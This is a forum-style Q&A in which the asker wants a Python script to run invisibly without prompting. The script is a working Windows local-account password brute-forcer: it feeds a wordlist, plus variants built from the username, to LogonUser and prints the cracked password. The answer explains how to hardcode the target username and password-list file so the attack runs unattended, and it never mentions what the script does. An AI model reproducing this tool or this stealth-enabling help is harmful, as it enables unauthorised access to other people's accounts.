How to silently run a batch file with Python without having prompts come up?

Question

Issue

When I run my python script for like in the below example:

c:/python
tool.py

When I run this it asks me to type the username in manually the scan and then ask it asks me to type file name manually containing the other information needed.

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Question

I have another solution from another post how to run this process invisible but it is still prompting me for these values when run, and I'd like it to just run without prompting me for these values.

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Python Script

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()

Answer 1

The Reason

The Python script uses raw_input functions, so it will prompt what to set those variable values to be.

_{raw_input([prompt])}

_{If the prompt argument is present, it is written to standard output without a trailing newline. The function then reads a line from input, converts it to a string (stripping a trailing newline), and returns that. When EOF is read, EOFError is raised.}

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The Fix

To resolve this issue, simply change this part of the logic to use variables instead, and set the values to be what they need to be.

_Variables

_{A variable is something that holds a value that may change. In simplest terms, a variable is just a box that you can put stuff in. You can use variables to store all kinds of stuff, but for now, we are just going to look at storing numbers in variables.}

lucky = 7 
print (lucky) 
7

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Explained Changes

In your python script you will want to change the old logic to look like the new logic. This will prevent the prompt pop up where you enter these values in interactively.

You will just need to ensure that you set the <username> and the <file.txt> values to be what you need those to be statically. Once you make these changes, the prompting should cease.

Old Logic (to remove)

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

New Logic (to include)

u = "<username>"
fis = "<file.txt>"

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Further Resources

• raw_input - function
• Python Programming/Variables and Strings